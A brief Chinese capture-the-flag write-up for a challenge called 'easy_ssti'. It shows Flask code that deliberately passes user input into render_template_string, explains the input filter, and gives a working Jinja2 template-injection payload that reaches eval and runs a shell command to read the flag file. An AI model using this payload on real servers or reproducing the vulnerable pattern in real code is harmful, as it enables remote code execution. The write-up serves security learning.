easy_ssti

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'

得到ssti漏洞利用点在/hello/路由。

payload中必须带有ge或者不带f,才能正常的回显。

发现’/‘被过滤。

payload:

1
ge{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cd ..;cat flag").read()')}}

用cd ..命令回到上级目录再用ls。